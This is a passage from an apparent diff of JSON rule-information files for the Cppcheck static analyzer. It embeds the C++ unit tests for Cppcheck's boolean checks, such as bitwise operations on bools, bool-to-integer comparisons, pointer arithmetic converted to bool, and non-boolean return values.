functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\"\n \"[test.cpp:7:20]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\"\n \"[test.cpp:8:24]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\"\n \"[test.cpp:9:36]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\",\n errout_str());\n }\n\n void checkComparisonOfFuncReturningBool8() { // #4103\n // op: >\n check(\"int main(void){\\n\"\n \" bool a = true;\\n\"\n \" bool b = false;\\n\"\n \" if(b > a){ \\n\" // here warning should be displayed\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n // op: <\n check(\"int main(void){\\n\"\n \" bool a = true;\\n\"\n \" bool b = false;\\n\"\n \" if(b < a){ \\n\" // here warning should be displayed\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n // op: >=\n check(\"int main(void){\\n\"\n \" bool a = true;\\n\"\n \" bool b = false;\\n\"\n \" if(b >= a){ \\n\" // here warning should be displayed\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n // op: <=\n check(\"int main(void){\\n\"\n \" bool a = true;\\n\"\n \" bool b = false;\\n\"\n \" if(b <= a){ \\n\" // here warning should be displayed\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBoolIntegrationTest1() { // #7798\n check(\"bool eval(double *) { return false; }\\n\"\n \"double eval(char *) { return 1.0; }\\n\"\n \"int main(int argc, char *argv[])\\n\"\n \"{\\n\"\n \" if ( eval(argv[1]) > eval(argv[2]) )\\n\"\n \" return 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonOfBoolWithBool() {\n const char code[] = \"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" bool b = compare2(6);\\n\"\n \" bool a = compare1(4);\\n\"\n \" if(b > a){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare1(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\"\n \"bool compare2(int temp){\\n\"\n \" if(temp == 5){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\";\n check(code);\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n }\n\n void bitwiseOnBoolean() { // 3062\n check(\"void f(_Bool a, _Bool b) {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(_Bool a, _Bool b) {\\n\"\n \" if(a | b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a & !b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a | !b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"bool a, b;\\n\"\n \"void f() {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"bool a, b;\\n\"\n \"void f() {\\n\"\n \" if(a & !b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"bool a, b;\\n\"\n \"void f() {\\n\"\n \" if(a | b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"bool a, b;\\n\"\n \"void f() {\\n\"\n \" if(a | !b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(bool a, int b) {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int a, bool b) {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'b' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if((a > 0) & (b < 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style, inconclusive) Boolean expression 'a>0' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(bool a, int b) {\\n\"\n \" if(a | b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int a, bool b) {\\n\"\n \" if(a | b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'b' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"int f(bool a, int b) {\\n\"\n \" return a | b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool a, int b) {\\n\"\n \" return a | b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" foo(bar, &b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\" // #9405\n \" class C { void foo(bool &b) {} };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f();\\n\"\n \"bool g() {\\n\"\n \" return f() | f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"uint8 outcode(float p) {\\n\"\n \" float d = 0.;\\n\"\n \" return ((p - xm >= d) << 1) | (x - p > d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\" // #10655\n \"void f(bool b) {\\n\"\n \" if (g() | b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style, inconclusive) Boolean expression 'b' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"int g();\\n\"\n \"void f(bool b) {\\n\"\n \" if (b | g()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"bool f(bool b, bool c) {\\n\"\n \" return b | g() | c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (style, inconclusive) Boolean expression 'c' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // #4233\n \" bool b = true, c = false;\\n\"\n \" b &= i;\\n\"\n \" c |= i;\\n\"\n \" if (b || c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style, inconclusive) Boolean expression 'b' is used in bitwise operation. [bitwiseOnBoolean]\\n\"\n \"[test.cpp:4:7]: (style, inconclusive) Boolean expression 'c' is used in bitwise operation. [bitwiseOnBoolean]\\n\",\n errout_str());\n\n check(\"void f(int i, int j, bool b) {\\n\"\n \" i &= b;\\n\"\n \" j |= b;\\n\"\n \" if (b || c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool b, int i) {\\n\"\n \" b &= (i == 5);\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { bool b{}; };\\n\" // #12455\n \"void f(const std::unordered_map m) {\\n\"\n \" for (const auto& e : m) {\\n\"\n \" S s;\\n\"\n \" s.b |= e.second.b;\\n\"\n \" (void)s.b;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incrementBoolean() {\n check(\"bool bValue = true;\\n\"\n \"void f() { bValue++; }\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Incrementing a variable of type 'bool' with postfix operator++ is deprecated by the C++ Standard. You should assign it the value 'true' instead. [incrementboolean]\\n\", errout_str());\n\n check(\"void f(bool test){\\n\"\n \" test++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Incrementing a variable of type 'bool' with postfix operator++ is deprecated by the C++ Standard. You should assign it the value 'true' instead. [incrementboolean]\\n\", errout_str());\n\n check(\"void f(bool* test){\\n\"\n \" (*test)++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: (style) Incrementing a variable of type 'bool' with postfix operator++ is deprecated by the C++ Standard. You should assign it the value 'true' instead. [incrementboolean]\\n\", errout_str());\n\n check(\"void f(bool* test){\\n\"\n \" test[0]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Incrementing a variable of type 'bool' with postfix operator++ is deprecated by the C++ Standard. You should assign it the value 'true' instead. [incrementboolean]\\n\", errout_str());\n\n check(\"void f(int test){\\n\"\n \" test++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt1() {\n check(\"void f(bool x) {\\n\"\n \" if (x < 10) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (10 >= x) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (x != 0) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x) {\\n\" // #3356\n \" if (x == 1) {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (x != 10) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (x == 10) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (x == 0) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"DensePropertyMap visited;\"); // #4075\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt2() {\n check(\"void f(bool x, int y) {\\n\"\n \" if (x == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, bool y) {\\n\"\n \" if (x == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x, bool y) {\\n\"\n \" if (x == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x, fooClass y) {\\n\"\n \" if (x == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt3() {\n check(\"void f(int y) {\\n\"\n \" if (y > false) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(int y) {\\n\"\n \" if (true == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool y) {\\n\"\n \" if (y == true) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool y) {\\n\"\n \" if (false < 5) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n }\n\n void comparisonOfBoolWithInt4() {\n check(\"void f(int x) {\\n\"\n \" if (!x == 1) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt5() {\n check(\"void SetVisible(int index, bool visible) {\\n\"\n \" bool (SciTEBase::*ischarforsel)(char ch);\\n\"\n \" if (visible != GetVisible(index)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt6() { // #4224 - integer is casted to bool\n check(\"void SetVisible(bool b, int i) {\\n\"\n \" if (b == (bool)i) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt7() { // #4846 - (!x==true)\n check(\"void f(int x) {\\n\"\n \" if (!x == true) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt8() { // #9165\n check(\"bool Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (expectedResult == res)\\n\"\n \" throw 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (expectedResult == res)\\n\"\n \" throw 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (5 + expectedResult == res)\\n\"\n \" throw 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (5 + expectedResult == res)\\n\"\n \" throw 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (expectedResult == res + 5)\\n\"\n \" throw 2;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void comparisonOfBoolWithInt9() { // #9304\n check(\"bool f(int a, bool b)\\n\"\n \"{\\n\"\n \" if ((a == 0 ? false : true) != b) {\\n\"\n \" b = !b;\\n\"\n \" }\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt10() { // #10935\n check(\"enum class E { H = 2 };\\n\"\n \"template \\n\"\n \"void f(bool v) {\\n\"\n \" if (v == H) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\"\n \" enum class E { H = 2 };\\n\"\n \"}\\n\"\n \"void f(bool v) {\\n\"\n \" if (v == N::H) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void pointerArithBool1() { // #5126\n check(\"void f(char *p) {\\n\"\n \" if (p+1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" do {} while (p+1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" while (p-1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" for (int i = 0; p+1; i++) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" if (p && p+1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" if (p+2 || p) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n }\n\n void returnNonBool() {\n check(\"bool f(void) {\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return 1 + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" int x = 0;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" int x = 10;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return 2 < 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" int ret = 0;\\n\"\n \" if (a)\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" int ret = 0;\\n\"\n \" if (a)\\n\"\n \" ret = 3;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" if (a)\\n\"\n \" return 3;\\n\"\n \" return 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\"\n \"[test.cpp:4:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void returnNonBoolLambda() {\n check(\"bool f(void) {\\n\"\n \" auto x = [](void) { return -1; };\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" auto x = [](void) { return -1; };\\n\"\n \" return 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" auto x = [](void) -> int { return -1; };\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" auto x = [](void) -> int { return -1; };\\n\"\n \" return 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n }\n\n void returnNonBoolLogicalOp() {\n check(\"bool f(int x) {\\n\"\n \" return x & 0x4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x, int y) {\\n\"\n \" return x | y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" return (x & 0x2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void returnNonBoolClass() {\n check(\"class X {\\n\"\n \" public:\\n\"\n \" bool f() { return -1;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" struct X {\\n\"\n \" public:\\n\"\n \" int f() { return -1;}\\n\"\n \" };\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" class X {\\n\"\n \" public:\\n\"\n \" int f() { return -1;}\\n\"\n \" };\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" class X {\\n\"\n \" public:\\n\"\n \" bool f() { return -1;}\\n\"\n \" };\\n\"\n \" return -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\"\n \"[test.cpp:4:24]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n }\n};\n\nREGISTER_TEST(TestBool)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/checkAssignBoolToPointer.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/checkAssignBoolToPointer.json new file mode 100644 index 0000000..aff7bc8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckBool/checkAssignBoolToPointer.json @@ -0,0 +1,22 @@ +{ + "name": "checkAssignBoolToPointer", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 11, + "branches": 3, + "apis": 12, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 97 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkbool.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n\nclass TestBool : public TestFixture {\npublic:\n TestBool() : TestFixture(\"TestBool\") {}\n\nprivate:\n const Settings settings = settingsBuilder().severity(Severity::style).severity(Severity::warning).certainty(Certainty::inconclusive).build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(bitwiseOnBoolean); // if (bool & bool)\n TEST_CASE(incrementBoolean);\n TEST_CASE(assignBoolToPointer);\n TEST_CASE(assignBoolToFloat);\n\n TEST_CASE(comparisonOfBoolExpressionWithInt1);\n TEST_CASE(comparisonOfBoolExpressionWithInt2);\n TEST_CASE(comparisonOfBoolExpressionWithInt3);\n TEST_CASE(comparisonOfBoolExpressionWithInt4);\n\n TEST_CASE(comparisonOfBoolWithInt1);\n TEST_CASE(comparisonOfBoolWithInt2);\n TEST_CASE(comparisonOfBoolWithInt3);\n TEST_CASE(comparisonOfBoolWithInt4);\n TEST_CASE(comparisonOfBoolWithInt5);\n TEST_CASE(comparisonOfBoolWithInt6); // #4224 - integer is casted to bool\n TEST_CASE(comparisonOfBoolWithInt7); // #4846 - (!x == true)\n TEST_CASE(comparisonOfBoolWithInt8); // #9165\n TEST_CASE(comparisonOfBoolWithInt9); // #9304\n TEST_CASE(comparisonOfBoolWithInt10); // #10935\n\n TEST_CASE(checkComparisonOfFuncReturningBool1);\n TEST_CASE(checkComparisonOfFuncReturningBool2);\n TEST_CASE(checkComparisonOfFuncReturningBool3);\n TEST_CASE(checkComparisonOfFuncReturningBool4);\n TEST_CASE(checkComparisonOfFuncReturningBool5);\n TEST_CASE(checkComparisonOfFuncReturningBool6);\n TEST_CASE(checkComparisonOfFuncReturningBool7); // #7197\n TEST_CASE(checkComparisonOfFuncReturningBool8); // #4103\n // Integration tests..\n TEST_CASE(checkComparisonOfFuncReturningBoolIntegrationTest1); // #7798 overloaded functions\n\n TEST_CASE(checkComparisonOfBoolWithBool);\n\n // Converting pointer addition result to bool\n TEST_CASE(pointerArithBool1);\n\n TEST_CASE(returnNonBool);\n TEST_CASE(returnNonBoolLambda);\n TEST_CASE(returnNonBoolLogicalOp);\n TEST_CASE(returnNonBoolClass);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool cpp = true;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this, options.cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check...\n runChecks(tokenizer, this);\n }\n\n\n void assignBoolToPointer() {\n check(\"void foo(bool *p) {\\n\"\n \" p = false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (error) Boolean value assigned to pointer. [assignBoolToPointer]\\n\", errout_str());\n\n check(\"void foo(bool *p) {\\n\"\n \" p = (x[rSize];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #6588 (c mode)\n check(\"struct MpegEncContext { int *q_intra_matrix, *q_chroma_intra_matrix; };\\n\"\n \"void dnxhd_10bit_dct_quantize(MpegEncContext *ctx, int n, int qscale) {\\n\"\n \" const int *qmat = n < 